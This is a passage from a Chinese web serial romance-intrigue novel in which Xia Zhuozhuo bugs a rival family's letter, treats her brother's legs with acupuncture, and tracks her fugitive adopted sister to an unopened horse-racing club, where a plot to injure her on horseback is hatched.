尤其,她跟云霓是这样的尴尬关系。 夏管家的车子路过落九针的中医馆,夏灼灼说要为云老太爷买药,让夏太太先回去,自己则是进了九珍堂。 她先让落九针给她抓了两副药。 药方跟她给杜正国的药方一模一样。 然后叫来潜伏在附近的暗部的人,细声吩咐他去办一件事。 之后,夏灼灼又去查了云霓住在哪里,亲自去了一趟那家酒店。 做完这些,她才回到夏家。 天色这时候已经擦黑,她吃了晚饭,正好碰到夏怀武回来。 他的脚上,依旧有泥泞。 夏灼灼视而不见,只问他:“古武堂的漏网之鱼查得怎么样了?” 夏怀武道:“你知道新春大酒店吗?” “你说。” “那是古武堂旗下的一个产业。古武堂的其他产业都被充公了,只有这家酒店保留了下来。但我没有看到古武堂前任堂主,所以这几天,我打算守在那附近。” 夏灼灼点头:“可以。需要人手帮忙吗?” “不用,人多眼杂,我一个人更灵活一点。” “也好。” 夏灼灼没再多说什么,上了楼后,却给金虎打去了电话。 金虎很快接通。 他知道夏灼灼要问什么,开门见山地说:“我今天亲自跟着他,发现他早上先去了一趟郊外,然后又去了一家叫‘新春’的酒店。到了傍晚,他又去了郊外。但那附近没什么人流,我怕继续跟着太显眼,就没跟下去。您看……我明天要不要继续跟着?” “你从哪里开始不再跟着的?” “郊外一个加油站,电话里说不清楚,我手机发您具体定位。” “好。” 挂断电话,金虎果然发过来一个地址。 夏灼灼看了眼,的确是个很偏僻的地方,靠近机场路。 片刻后,她拿出手机,拨通了赵缇的电话。 “明天我去找夏琉璃,你让赵修凯带上警察,跟我一块去。我给你一个地址,到时候我跟赵修凯在那里碰头。” 赵缇不多废话,直接答应:“好。” 通话结束,夏灼灼把金虎发过来的定位发给了赵缇。 转眼夜深了。 夏灼灼来到夏怀征的房间,为他治疗。 “大哥,今天这一套针法,你会感到浑身发冷,像是待在冰窖里……” 夏怀征知道她在为自己打预防针,牙一咬,说:“开始吧!” 夏灼灼犹豫着说:“你这阵子吃了很多苦头,如果觉得想缓一缓,我们也可以等上几天。” 夏怀征想也不想地说:“小七,我能撑住。比起这些,不能走路当个残废的日子,更让我痛苦。” 夏灼灼看到了夏怀征眼里的坚毅。 以前,她觉得几个哥哥里,夏怀征这个大哥是最脆弱、最阴郁的。 现在她知道自己看错了。 大哥的内心其实非常坚强。 只是他自暴自弃了一段时间而已。 现在他重拾希望,就又变成了最开始的他自己。 “好,那我们开始吧。” 夏灼灼没有再废话,拿出了一副金针,开始给夏怀征治疗。 这一夜,格外漫长。 夏怀征冷得直发抖,唇瓣也变成黑紫色。 好几次,他甚至想用自残来缓解痛苦。 夏太太来过好几趟,都被夏灼灼挡了出去。 她跟夏怀征都不想夏太太进来,看到屋内的景象。 屋内,已经是一片狼藉。 但无论如何痛苦,夏怀征都没有松口让夏灼灼把金针拔除。 恍恍惚惚间,夏怀征想起了从前。 认识白知芙之前。 他是全球黑客榜榜首。 无数大公司朝他投来橄榄枝。 无数黑客老大都尊称他的为“KING”。 他风光无限。 直到那天为了救坠马的白知芙,他被那匹马,生生废了双腿。 而白知芙,安然无恙地被他护住。 夏怀征两只手紧紧攥着床单,手臂青筋暴起,眼底的光亮,却一丝一毫都没有黯淡,反而愈发明亮。 夏灼灼看在眼里,什么都没说,只是默默陪在旁边。 她知道,这只被折断翅膀的雄鹰,即将重回天空翱翔。 而另一边。 京都。 沪城这边的情况,尽数被沪城孙市孙峥跃,通过视频电话汇报给了窦部长,窦程枭。 他的身边,坐着窦老爷子。 窦程枭的长子,窦斯齐则是站在窦部长身后。 “冯邵阳的儿子十岁生日,去了很多人,包括夏家。” 窦程枭的表情微微一变。 “夏家人去做什么?” 孙峥跃道:“我派去的白家人说,去的是夏家的两个女人,送了一个自制的生日蛋糕过去。” “只送了蛋糕?” “是。”孙峥跃说:“夏家破产,想送贵重的礼物已经送不起了,所以故意讨巧卖乖,送自己亲手制作的蛋糕,倒是让那位冯太太很高兴。” 窦程枭嗤笑一声,说:“夏家果然是山穷水尽了。以为一个蛋糕就能收买住冯昭阳。” 窦老爷子点头。 “夏家这一趟过去,估计是无功而返。冯邵阳这人,主张中立,只想过他自己的小日子。如果不是这样,我也不会让你同意派冯邵阳去审理沪城的案子。” 窦斯齐却指出其中的疑点。 “如果夏家已经连份像样的礼物都送不起,怎么还会住在那么大的一个庄园里?他们早该变卖庄园,换点钱过日子了。” 视频里的孙峥跃说:“我之前也担心这其中有诈,所以特意去查了。发现夏家从外头找回来的那位七小姐,有着很高超的医术。庄园的房子,他们本来就已经挂到法院法拍了,是这位七小姐恰好回来,把房子买了回来。” 窦斯齐眼底的疑虑稍稍散去,但没完全散尽。 他总觉得事情透着古怪。 “不用怀疑夏家。”窦老爷子突然开口。 几个人都看向他。 只听窦老爷子说:“夏家人,前阵子已经给我们示好过了。看来他们是知道自己走投无路,靠不住党帅了,所以想在中间谋求一条生路。” 他说着,拿出了一封信件。 窦部长接过来看了眼,眼底隐隐闪动着激动的情绪。 “他们肯为那场和解了?” 窦老爷子点头:“准备准备,接斯礼出来吧。他在里面待了那么久,该是吃了很多苦了。” 窦司齐眉头紧皱。 “爸,爷爷,我觉得这种时候暂时不用着急接二弟出来。他那边,我一直有打点,在里面要什么有什么,前阵子还打电话给我,让我给他送台游戏机,我已经送进去了。” 窦部长不悦。 “斯齐,那可是你亲弟弟。就算在里面吃好喝好,能跟在外面一样吗?” 窦斯齐袖子里的手微微攥紧。 他亲妈走得早,窦斯礼是窦部长二婚太太生的。 没妈的孩子像根草,比起自己,窦部长更偏心窦斯礼。 也正是因为太过宠溺,把窦斯礼养成了一个无法无天的性子。 酒后开车撞了人,不及时送医就算了,竟然还退回去,反复把人碾压死,逃之夭夭。 如果不是窦家的关系够硬,不可能只是在对方不肯写谅解书的情况下,只是吃几年牢饭那么简单。 该是判死刑。 他轻轻吸了一口气,对上窦部长不悦的目光说:“爸,我没有别的意思,只是单纯觉得,这两年,最好还是让斯礼在里面安分待着。免得坏了我们的大事。” 提起他们的大事,窦部长罕见地没有跟长子继续坚持。 窦老爷子也说:“那这谅解书就先继续放着吧,等事情尘埃落定,再接他出来。” 窦斯齐轻轻舒了口气。 窦部长说:“那这么看,夏家的确是跟我们服软了。” 窦老爷子点头。 “夏家不用盯着了,把所有重点,都放到党家身上。” 窦老爷子的话一锤定音。 却没人注意到,那封信件里头封了胶水的地方,装了一个肉眼不可见的超微型窃听器。 他们的一字一句,都被暗部的人监听到了。 第二天一早,夏灼灼就得知了他们昨晚的对话。 她给冯太太打了个电话。 闲聊几句后,她让冯太太把电话转交给冯邵阳。 冯邵阳正准备去上班,今天是他正式上任的第一天。 “夏小姐,有什么事吗?” “冯先生,我得麻烦您一件事……” “您说。” “我听说沪城监狱那边关系混乱,有些犯人因为有外头的关系,竟然能在里面打游戏……” 冯邵阳皱眉。 “真有这种事?” “我也只是道听途说。” “那我今天就去查一查。” “麻烦您了。” “小事。” 冯邵阳挂断了电话。 他跟夏灼灼的同盟还不算太牢固,如果夏灼灼一开口就是让他办很难办的事,他或许会重新考虑跟夏灼灼的同盟。 但只是整治监狱乱象的话,就是举手之劳了。 反正,他是上头特派的,管辖范围很大,整治监狱和留置所也是他职责之内的事。 电话那头,夏灼灼的眸子微微泛着碎芒。 通过那枚超微型窃听器,她已经知道,窦斯礼,就是毁掉窦家的关键。 窦家现在是铁桶一个,轻易动不了,所以窦斯礼这种搅屎棍必须得从里面出来,把清水搅浑,才有机会打破窦家这个铁桶。 打完冯邵阳的电话,夏灼灼轻轻吐了一口气。 她今天还有另外一件重要的事做。 第162章 找出夏琉璃 夏灼灼穿戴整齐,下楼。 夏太太正在用早饭,见她下来,忙朝她招手。 “灼灼,快来,我给你煮了鸡蛋羹和海参粥。补一补身体。” 她知道,昨天夏怀征很痛苦,但夏灼灼也很累。 她几乎陪了夏怀征一整晚,所以夏太太一早就为夏灼灼亲自下唇。 夏灼灼的笑容却有些僵硬。 又是海参粥…… 虽然夏太太做的海参粥很好喝,非但不腥,还异常鲜美。 但也架不住天天喝。 “妈……”夏灼灼搂着夏太太的胳膊撒娇:“我今天能不能不喝啊?” “可以啊。”夏太太说:“不喝的话,你给自己开一副调理身体的中药,我帮你煎好。” 夏灼灼聋拉起了眉头。 药和粥,当然还是选择喝粥。 一碗粥下肚,夏灼灼觉得自己要变异成海参了。 “乖,这就对了。”夏太太捏了捏她的脸颊,一副心满意足的样子。 夏灼灼虽然愁苦,但也知道,得益于夏太太每天为她进行食补,她这段时间的身体还没有因为天天熬大夜而亏空。 好在这样的日子不会太久了。 再过最多一周,她就不用熬夜,夏怀征也不用继续受苦了。 恰在这时,夏六下楼了。 他这阵子早出晚归,夏灼灼觉得自己都好久没见到他了。 “六哥,稀客啊。”夏灼灼说。 夏怀瑾虽然身上多了一点上班人的班味,但还是那个调皮的他。 他走到夏灼灼面前,双手一叉腰。 “知道贵客来了,还不上茶?” “是。”夏灼灼一作揖,小丫鬟似的给夏怀瑾递上一碗粥。 夏太太不是偏心的人,也就意味着,家里人人都要海参粥喝。 夏怀瑾也已经喝怕了,看到那碗粥,戏演不下去了。 “我错了,妹姐。” 夏太太瞪过来。 “错什么错?赶紧吃了。你早出晚归的,别熬坏了身体,快喝。” 夏怀瑾还想找借口溜走,被夏灼灼一把揪住后衣领,凑近他耳朵。 “六哥,有福同享有难同当,我已经喝了,你别想跑。” 说着,拽着他就把他摁在餐桌上吃粥。 夏怀瑾一副苦大仇深的样子,认命地叹了口气,开始慢慢喝粥。 夏灼灼问起他在公司适不适应。 夏怀瑾一拍胸脯。 “怎么会不适应?我现在可爱上班了。” 司慎行拨给他二十个人,他现在一到他的部门,二十个人轮番上来打招呼。 开会的时候,他一进会议室,原本坐着的人齐刷刷站起来跟他点头致意,那滋味……别提有多爽了。 怪不得站得越高的人越喜欢上班。 夏灼灼挑眉:“看得出来你很喜欢上班了。你比自己创业的二哥都勤快。” 正巧夏怀呈下楼了。 他鼻子一动就闻到了海参粥的味道。 还没开始吃,胃里开始难受了。 听到夏灼灼的话,他立刻顺势说:“看来小七觉得我不够勤勉,是我的错,我惭愧,我反省,我不配吃早饭,我现在就走。” 说完,脚步一拐就离开餐桌,往外面跑。 夏灼灼一时反应不及,还真让他逃掉了。 “二哥,坏!” 夏六深以为然。 “的确坏!” 夏太太无奈摇头,眼底却尽是宠溺。 “既然你们不喜欢吃海参粥,那明天我就不做了。” 兄妹两个顿时眼睛一亮。 但下一秒,夏太太说:“明天我做鲍鱼粥。” “……” 两人互相一对视,相顾无言。 夏怀瑾碗里的海参粥终于吃完,正要去上班,夏怀武下来了。 夏灼灼脸上的笑容就淡了下来。 还是夏六跟夏怀武打招呼。 “五哥,你今天也要出门吗?去哪儿?我送你一程。” 夏家既然已经破产,就不能跟之前一样高调奢侈。 所以家里地库的大部分车都已经拿去卖了。 现在夏六开一辆,夏二开一辆,留一辆在家里用,夏怀武出行都是打车。 夏怀武表情微微一僵,但很快笑开。 “不用了,我要去的地方跟你的方向不一样,别耽误你上班。” 夏六也没坚持。 自从夏怀武偏信夏琉璃的话,误会夏灼灼之后,他对夏怀武也没有之前那么亲近。 很快人都走了。 夏灼灼等了半小时,收到了金虎的消息。 “夏怀武去了新春大酒店。” 夏灼灼看到消息,便开车出门了。 她跟赵缇约定好,叫赵修凯在加油站等。 夏灼灼到的时候,赵修凯,以及两个负责夏琉璃案件的警官都到了。 赵修凯率先迎上来,表情很复杂,但眼底最多的是愧疚。 “夏小姐,我……” “什么都不用说,办正事吧。”夏灼灼直接打断他的话。 赵修凯一噎,也不好继续再说什么了。 “嫌犯现在在哪里?”其中一个高个子警官问她。 夏灼灼依照自己的判断说:“就在方圆十公里之内。” 警官皱眉。 “十公里?范围太大了,能不能说得更精准一点?” 夏灼灼想了想,说:“是一个有很多泥土的地方。不下雨,鞋子上也会沾上泥。” 两个警官就依照她说的,拿出手机搜起附近符合她说的话的地方。 很快锁定了两处地方。 一处,是距离这附近的一个正待拆迁的村落。 另一个地方,则是二十分钟车程之外的一个新建的、还没对外开放的马场。 这两个地方都符合夏灼灼说的“不下雨,鞋子也会沾上泥”。 而且,想去这两个地方,这个加油站是必经之路。 四个人商讨了几分钟,确定没有第三个可疑的地方后,就分成了两拨。 赵修凯和矮个子警官去待拆迁的居民区,而夏灼灼则是跟那位高个子的警官去了马场。 警车被赵修凯两个人开走,高个子警官就座夏灼灼的车。 她的车子开得又快又稳,高个子警官看她一眼,突然说:“夏小姐,我是方局的人,我姓丁。” 夏灼灼捏着方向盘的手微微一紧。 方局。 那天古武堂的事情,是司慎行叫了方局过来处理。 包括后来在餐厅,她打了白念城,也是方局善后。 算是半个自己人。 夏灼灼点头,说:“我知道了,麻烦丁警官跟我跑这一趟了。” 对方话不多说,只道:“应该的。” 很快,车子就开到了那家马场的大门口。 丁警官下车后,面露疑惑地说:“刚建好,还没对外营业,怎么门口停了这么多车?” 夏灼灼也看过去。 门口停车线里,停了七八辆豪车。 有一辆,夏灼灼很眼熟。 “走吧。”她说。 丁警官点头,跟着她往里面走。 然而到了安保岗亭,却被安保拦下。 “不好意思,我们还没开始营业。” 丁警官正要拿出他的警官证,被夏灼灼挡下来。 她笑着说:“还请您帮忙通报一声,我是司慎行的朋友,夏灼灼。” 安保上下看她一眼,见她容貌出众,气质不凡,也不敢怠慢,让他们稍等后,就去打电话了。 “司先生在这里?”丁警官问。 夏灼灼点头:“他的车也在外面。” “怪不得。” 夏灼灼又跟他解释:“你就说是我朋友,不用拿出警官证,免得打草惊蛇。” 丁警官说好。 又说:“幸亏我今天穿的自己的衣服,不然还得换衣服。” 夏灼灼笑笑。 不多时,一个身材高挑,生了一双漂亮的桃花眼的男人从里面走出来。 他穿着一身马术服,里面是一件白衬衫,外面套一件蓝色的紧身马术外套,衬得他肩宽腰窄。 很快,男人就来到了夏灼灼面前。 他也在打量她。 只一眼,就看得男人满脸惊艳。 他说呢,司慎行这棵万年铁树怎么突然开花了,原来是遇到春天一样漂亮的女人了。 夏灼灼的目光同样落在男人脸上。 她没见过他,却觉得眼熟。 “请问,你是夏小姐吗?”虽然是疑问句,却是笃定的语气。 夏灼灼点头,迟疑着问:“你是?” “我叫季恒,是阿行的哥们儿,他还在换衣服,我接到了他的电话,就替他先过来接你。” 季恒…… 夏灼灼默念着这个名字,想起来自己为什么看着他觉得眼熟了。 “你跟季远认识吗?” 季恒的表情微微变了变,但很快恢复灿烂的笑容。 “季远是我大哥,你认识他?” “打过两次交道。” 季远的老婆之前先兆性流产,通过暗部论坛找上她,她为季远的老婆保下了那个孩子。 可过了两个月,季远老婆还是流产了。 那个可怜的女人,在她面前哭得不能自已。 说是季远在外面的男人制造了一场车祸,害得她的孩子生生没了。 那是个已经成型的胎儿。 她说她怎么都没想到,自己的丈夫,原来喜欢男人。 那个男人吃醋,弄掉了她的孩子,可丈夫却毫不在意。 夏灼灼劝她离婚,她说她不,她要季远付出代价。 三个月前,女人问她要了一种药。 是一种慢性毒药,会让人身体一点一点变虚弱。 夏灼灼想到这,又补了两句:“我跟他的太太认识,所以跟他两次交道。刚才看你觉得眼熟,没想到你是他的弟弟。” “原来是大嫂的朋友。”季恒笑了笑,眼底有点如释重负。 随后目光又落在夏灼灼旁边的丁警官身上。 夏灼灼介绍说:“他是我朋友,我们听说这里开了家马场,所以想过来看看。” 第163章 恋爱大师 季恒又打量起丁警官来。 长相平平,身高也一般,跟阿行没得比。 丁警官莫名感觉到季恒看自己的眼神有敌意。 他一脸茫然。 怎么个事儿? 夏灼灼打破两人之间的尴尬气氛,开口道:“不知道方不方便领我们进去看看?” 季恒又恢复了灿烂的笑容。 他本来就生的好看,这么一笑,仿佛要把北极的冰雪都融化了。 “当然方便,快请进,阿行还不知道你来了,要是知道,肯定要高兴坏了。” “……”夏灼灼没接话。 只觉得司慎行这人的嘴,也是挺啰嗦的。 什么事情都对外讲。 夏灼灼不知道的是,不是司慎行啰嗦。 是他实在不知道怎么追女孩子,只好求助季恒这个万花丛中过的恋爱大师。 既然要“拜师”,当然要告诉他,对方的喜好、身份。 这些都是无可避免的。 “夏小姐,请。”季恒在一辆观光车前停下来,解释说:“这里很大,走过去会有点远,咱们坐车。” 夏灼灼轻轻一颔首,招呼丁警官一起上车。 然而季恒却伸手轻轻一拦。 “不好意思,这位先生,这里的观光车动力有限,最多坐两个人。你先在这里稍等,我带夏小姐先过去,到了地方,再让他们开过来接你。” 丁警官看了眼夏灼灼。 见夏灼灼点头,便应声留在原地等待。 观光电车缓缓往前开动。 这里如季恒说的那样,确实非常大。 不仅有一个很大的跑马场地,还有会员专属的休闲区域。 除此之外,还配套了购物廊、水疗中心以及星级酒店和一个很大的拍卖厅等。 夏灼灼去过港城的著名的沙田马场,这儿比沙田马场还要大。 可以预见在正式开业之后,将会成为全华夏有名的销金窟。 不过有几个设施都还尚未完全竣工,有些路段还是泥地,颠得观光车一上一下。 夏灼灼望着地上的泥地,猜测夏琉璃在这里的可能性有多大。 季恒虽然在专注开车,但余光一直在瞟夏灼灼。 见她一副若有所思的样子,疑惑地问:“夏小姐,你在想什么?” 夏灼灼快速回神,笑道:“这里还没开业,你们今天怎么会在这里?” “我们是被邀请到这里试这里的马场的。” 夏灼灼疑惑:“你们不是有很多事要忙吗?怎么有空来这里做这个?” 季恒唇角一勾,说:“这家皇家斯蒂兰马场,阿行有股份。至于我么,是听说今天被邀请到场的,每个人都可以挑选一匹马,养在这里。你是不知道,这里的马,可都是难得一见的上等好马。平时轻易买不到。” 原来如此。 不过夏灼灼思绪转得很快,微一点头后,又问:“除了司慎行有股份,还有谁有股份?” “新上任的孙市,还有白家,许家。” 孙家、白家,夏灼灼都知道。 不过这个许家…… 夏灼灼很快得到了答案。 季恒到了地方之后,先叫人去接夏灼灼的朋友——丁警官。 然后带着夏灼灼去更衣区换衣服。 “好不容易来一趟,不跑一下马怎么能行?”季恒提议。 夏灼灼点头欣然答应。 她莫名其妙来这里,总得有个由头。 来跑马,就是一个很好的由头。 “那可太好了,女士在那边换衣服。阿行估计也快换好衣服了,一会儿我跟他一起在这里等你。” 夏灼灼点头,往女士更衣区走。 先路过洗浴区,然后才是更衣区。 在更衣区里,夏灼灼碰到了一个熟人,许菻兮。 许菻兮自从上次在未来之境替夏琉璃讥讽夏灼灼反被打脸离开之后,就再没跟夏灼灼打过碰面。 夏灼灼看到她,也明白了“凌家”是谁家。 看到她,许菻兮先是惊讶,随后是不悦,期间眼底还飘过了类似于慌乱的情绪。 夏灼灼准确捕捉到了。 她觉得夏琉璃在这里的可能性很大。 “你怎么来了?”许菻兮沉着脸开口:“我们好像没邀请你吧?” 夏灼灼唇角牵了下,说:“是季恒带我进来的。” 许菻兮的眉头就是一皱。 “你又跟季恒勾搭在一起了?你的心可真大,装得下那么多男人,真有你的。” 夏灼灼没在意她的明嘲暗讽,甚至没有为自己解释。 只说:“好巧,许小姐。” 许菻兮继续嘲讽:“脚踏两条船,小心阴沟里翻了船,淹死自己。” 夏灼灼笑意盈盈地说:“我以为许小姐宰相肚里能撑船,没想到上次的事情竟然还没翻篇吗?我记得我跟许小姐原本没有矛盾,甚至不认识,许小姐却几次三番挤兑我。你就这么喜欢给人当枪使?” 许菻兮噎了下,脑子里却想到那天在未来之境发生的事情。 当初要不是夏琉璃明里暗里误导她夏灼灼只是个乡野丫头,她也不会质疑夏灼灼就是江山大师,从而丢尽了脸面。 那次之后,她付出的代价不小。 她因为夏灼灼,惹到了司慎行,导致司慎行要中止他们家跟S集团的所有合作。 还是她父母当机立断,让出了斯蒂兰百分之十的股份,白送给司慎行,这件事才算结束。 也是因为让出了那百分之十的股份,如今,司慎行已经是斯蒂兰最大的股东了。 而在这之前,他们许家才是这里最大的股东。 那次之后,爸妈把她关在家里,不许她外出。 直到这周才允许她出门。 要不是夏灼灼说的那句“你就这么喜欢给人当枪使”,她都差点忘了,那天的事,夏灼灼占最主要原因,但夏琉璃也不无辜。 许菻兮的眉头,慢慢皱了起来。 有什么想法在她脑子里一闪而过。 但被她摁了下去。 “我许菻兮,从不给人当枪使!” “是吗?”夏灼灼意味深长地笑了下,说:“这样最好,我去换衣服了,许小姐请自便。” 许菻兮皱眉。 她才是这里的主人,夏灼灼说什么自便?! 可夏灼灼已经进了里面,许菻兮也懒得追进去。 她在考虑,要不要继续收留夏琉璃。 其实收留夏琉璃这件事,她一开始是拒绝的。 但想到自己收留她,从此夏琉璃矮自己一截,得捧着她,她就觉得心情舒畅。 以前夏家是沪城首富的时候,都是她捧着夏琉璃的。 现在得夏琉璃捧她,哄她,在她面前伏低做小,她自然心情舒畅。 可夏灼灼的一番话,又让她重新开始考虑这件事了。 许菻兮在犹豫了一番后,去到了斯蒂兰里的星级酒店。 她刷卡进了一个房间,里面夏琉璃正在敷面膜,看到她,连忙摘下面膜,眼带笑意地说:“菻兮,你怎么来了?不是说今天很忙吗?” “我渴了。”许菻兮在沙发上坐下,命令道:“给我倒杯水来,要温水。” 夏琉璃眼底一瞬间燃起怒意,但顷刻间就被她摁下。 “好。”她恢复笑容,去给许菻兮倒了一杯水。 “你试试看,水温合不合适?” 她的语气恭敬极了,许菻兮很受用,喝了一口,就放到了茶几上。 她并不口渴,只是享受让夏琉璃服侍她。 被奴役久了的人,突然当了主人,当然要最大可能享受自己当主人的权益。 夏琉璃在这时开口:“我五哥今天没来。他说这两天他要办一件重要的事,恐怕都不会过来。” 许菻兮喜欢夏怀武。 这也是为什么哪怕许家也是家大业大的高门大户,许菻兮却甘愿在夏琉璃面前伏低做小。 图的就是近水楼台先得月。 只可惜,夏怀武一直没有那方面的心思。 他的心思全在学武术上。 许菻兮每次示好,夏怀武都不懂她的意思,像个情窦还没开的小学生。 她面上浮现一瞬间的尴尬,随后轻咳了一声,说:“我不是来找你五哥的,我来告诉你一件事。” “什么事?” “夏灼灼来了。” 夏琉璃的眼皮就是一跳。 “她怎么会来这里?她是来找我的吗?” 许菻兮微微一笑,拍了拍她的肩膀,说:“放心吧,她不知道你来这里,她是勾搭上了季恒,被季恒带进来的。” 夏琉璃蹙眉。 “她不是跟司慎行走得很近吗?” 许菻兮不屑地笑了下,说:“她胃口太大,早晚要撑死自己!” 夏琉璃现在却没有那么多心思骂夏灼灼。 比起厌恶,她现在对于夏灼灼更多的是害怕。 “夏灼灼很敏锐,是个很聪明的人,你千万不要跟她透露半点我在这里的事。” “你放心,我又不傻。我来这里只是跟你知会一声,你今天别出这扇门,老实呆在这里,她就算知道你在这,也找不到你。” 夏琉璃点头:“谢谢你,菻兮。你是我的恩人,以后你让我往东,我绝不往西。” “我不缺佣人。” 夏琉璃笑了下,说:“你放心,五哥的事情,我也会帮你多上心的。” 许菻兮的脸有点红,但故作姿态,说:“我也不是那种廉价的女人,你帮我问清楚,如果他对我没意思,我也不会继续纠缠。” “好。下次他来,我就问问他的意思。” 许菻兮“嗯”了声。 心里却期盼着,夏琉璃能带给自己她想要的那个答案。 “对了。”夏琉璃问:“夏灼灼今天也是来跑马的吗?” “既然来了,肯定是要上场的。” 夏琉璃眼睛一亮,心里有了个主意。 第164章 想到她,会不会愧疚? 夏琉璃拉住许菻兮的手,说:“菻兮,我有个想法,你听听看。” 许菻兮安静听完,眉头皱起来。 “可今天来了很多贵客,出这种事,会不会不太好?” 夏琉璃更用力拉住她的手,说:“跑马受伤,这是常有的事,斯蒂兰不会因此受影响的。而且你们家受了那么大的损失,你还被禁足,难道你不想报仇吗?” 许菻兮沉下了脸,说:“夏琉璃,你是想拿我当枪使吗?未来之境的那件事,你也有很大的责任,如果不是你一直在我面前念叨夏灼灼是乡下来的废物土包子,我也不会不相信她是江山大师。” “天地良心。”夏琉璃竖起三根手指说:“她隐藏得很好,在那之前,我真的以为她只是一个普通人。我不是有心骗你。如果我早知道她不是普通人,我天打五雷轰。” 许菻兮仍然在犹豫。 夏琉璃眼珠子一转,说:“菻兮,如果咱们的计划成功了,不仅我可以放心在这里继续生活,你也可以为自己报仇,而且,我五哥也会感谢你。” “怀武哥……他也希望夏灼灼出事吗?他不是夏灼灼的亲哥哥吗?” “你有所不知,五哥很讨厌她。她刚到家,五哥就想让她回乡下去。” “真的吗?” “当然是真的,否则,如果五哥心里很在意她,又怎么会瞒着她,拜托你把我藏在这里?” 许菻兮仔细想了想,好像是这个道理。 夏灼灼想把夏琉璃送进去,但夏怀武把夏琉璃送来了这里。 这跟夏灼灼的想法背道而驰。 夏怀武真的不喜欢夏灼灼。 她的心轻轻跳了一下,又在房间里踱步了两分钟,随后,她突然停下脚步,说:“好,就按照你说的做。” 夏琉璃笑了。 只要夏灼灼一死……哦,不死也行,跟大哥夏怀征一样,变成一个残废,那么她还有心思顾忌自己吗? 伤春悲秋还来不及。 许菻兮,果然是她的一把好刀。 她压低声音,把自己的计划仔细说了一遍,而后说:“那就拜托你了,菻兮。” …… 三十分钟后。 司慎行从等候区的沙发上站起来,转头就要走。 季恒连忙拉住他。 “你去哪里?不等你的白月光啦?” 司慎行黑着脸望向季恒,那眼神冷得要冻死人。 “如果她真的来了,换个衣服要半个小时?” 他觉得,季恒在耍他。 他现在有点后悔,为什么要把自己的心事告诉季恒。 自称恋爱大师的人,告诉他追女孩的要诀,只有三个字“脸皮厚”。 除此之外没别的了。 根本没帮上任何一点忙。 还叫他耍了自己。 “我对天发誓,我真的没骗你,夏小姐真的来了。你不信的话,外面还有一个她的男性朋友在等她。” 司慎行冷笑,更加断定季恒在耍他。 因为她就没见夏灼灼除了她几个哥哥之外,还有什么男性朋友。 “不是,我真没骗你。”季恒着急了,说:“你要是不信,我现在就进女士换衣间找她。” “那你找啊,如果把她找出来了,你这阵子在沪城的衣食住行,我全包了。” “好!这可是你说的!” 季恒说着,迈步就往女士换衣间那边去。 反正他风流名声在外,不介意多一个“闯女士换衣间的变态”的头衔。 只是才刚往那个方向走了两步,季恒的脚步就停住了。 他的眼底,满是惊艳之色。 但司慎行的角度看不到他的脚步,只是看到他突然不走了。 他嗤笑一声。 “怎么?圆不了谎了?” 季恒抬起手,朝女士换衣间那边指过去。 “你自己看。” 司慎行蹙眉看过去,下一秒,脸上的所有表情都凝滞住了。 是夏灼灼。 她穿了一身黑色的马术服。 原本就高挑纤细的身材,在紧致的马术服的包裹下,更衬得她腰细。 仿佛稍稍一用力,就能将她的腰折断。 两只修长的双腿同样被马裤紧紧包裹,线条流畅地收入黑色铆钉长靴里。 一步一行间,鞋跟轻叩地面,发出“嗒嗒嗒”的声音。 活像是从中世纪油画里走出来的女骑士,英姿飒爽,叫人移不开眼睛。 司慎行一直都知道他的心上人很美,但此刻,还是不免屏住了呼吸。 夏灼灼并没注意到司慎行,她在低头认真戴手套。 直到司慎行喊她:“灼灼。” 他的嗓音像是有魔性一般,让夏灼灼骤然抬头。 他们是什么时候到的? 有没有看到她从侧门走出去又回来? 但惊慌也只是一瞬间就消失了。 她在想,哪怕司慎行知道了又如何? 可这个念头一冒出来,夏灼灼又吃了一惊。 她现在对司慎行已经放心至此了吗? 思绪复杂间,司慎行已经走到了她面前。 “你穿马术服,很好看。”司慎行毫不掩饰自己的惊艳。 夏灼灼勉强笑了下。 “谢谢。” 她也打量起了司慎行。 司慎行的身材很好,长得又英俊,是天生的衣服架子。 穿上这一身黑白的马术服,宽肩窄腰的健硕身材被勾勒得更加具有压迫感,一行一动都透着上位者的锋芒。 后面的季恒看着站在一起的两人,不禁轻轻吸了一口凉气。 他从前觉得司慎行跟悠然很配。 现在看到夏灼灼出现在司慎行旁边,才知道什么叫天造地设的一对。 原来登对不登对,也要看对比。 这两个人无论从长相还是气场,竟然都是万分契合。 惊叹之下,季恒已经走上前来。 还是那个笑嘻嘻吊儿郎当的样子。 “我刚才还以为是哪个仙女从油画里钻出来了,仔细一看,才看清楚原来是夏小姐。夏小姐,你上辈子莫不是仙女转世?不然怎么会长得这么好看?” 说话间,他还朝司慎行瞥了一眼。 意思是:看,夸人就得这么夸,往死夸。 而不是轻飘飘的一句“你穿马术服很好看”。 司慎行面无表情地睨他一眼,眼神里满是警告。 季恒浑然不怕,继续厚着脸皮说:“夏小姐有喜欢的人了没有?如果没有,能不能考虑一下我?” 司慎行的脸色更阴沉了。 他让季恒来沪城是给他当助手的,不是让他给自己当对手的。 “多谢季先生夸奖。”夏灼灼笑呵呵囫囵盖过季恒的话。 她看出来季恒是在故意激司慎行,有些感慨原来司慎行身边也有这么大胆的人,敢堂而皇之地激怒他。 看来两个人的关系真的很好。 只是夏灼灼有一点好奇,季远喜欢男人,那么季恒喜欢的,是女人还是男人? 不过夏灼灼不会去主动窥探对方的隐私,好奇只在脑子里转了一下就消失了。 她对司慎行说:“我听说这有家马场,出于好奇就过来了,不会打扰到你吧?” “当然不会。” 只是司慎行不信她只是单纯出于好奇。 但夏灼灼不说,他也不问。 在她需要帮忙的时候,他出手相助就是了。 “听说你还带了个朋友过来?” “是啊。”夏灼灼点头。 司慎行看了眼季恒,季恒就立刻出去把人带进来了。 司慎行只看了一眼,就认出了丁警官。 是方局手底下的人。 他隐约猜到夏灼灼要干什么了。 但他不露端倪,对着丁警官轻轻点了下头,说:“灼灼的朋友就是我的朋友,你在这里好好玩,玩得尽兴。” 丁警官连忙点头:“是。” 季恒奇怪地瞥一眼司慎行。 不懂他为什么一点醋意也没有。 果然是第一次有喜欢的人,在这方面还是太迟钝了吗? 季恒有心替司慎行挤兑这个情敌,故意说:“今天来的男士比较多,恐怕没有多余的马术服给你穿了。“ 夏灼灼说:“没关系,他本来也不会骑马,就是陪我到处逛逛,不用换衣服。” 丁警官也点头:“我随便逛逛就行。” 季恒还要继续说,被司慎行打断。 “客人应该差不多都到齐了,我们过去吧。” 季恒只好暂时闭嘴。 只是走出一段路后,他忍不住低声提醒司慎行:“那可是你情敌,你给他好脸子干什么?” 司慎行语气笃定:“他不是我情敌。” “你凭什么这么确定?” “因为他是我的人。” 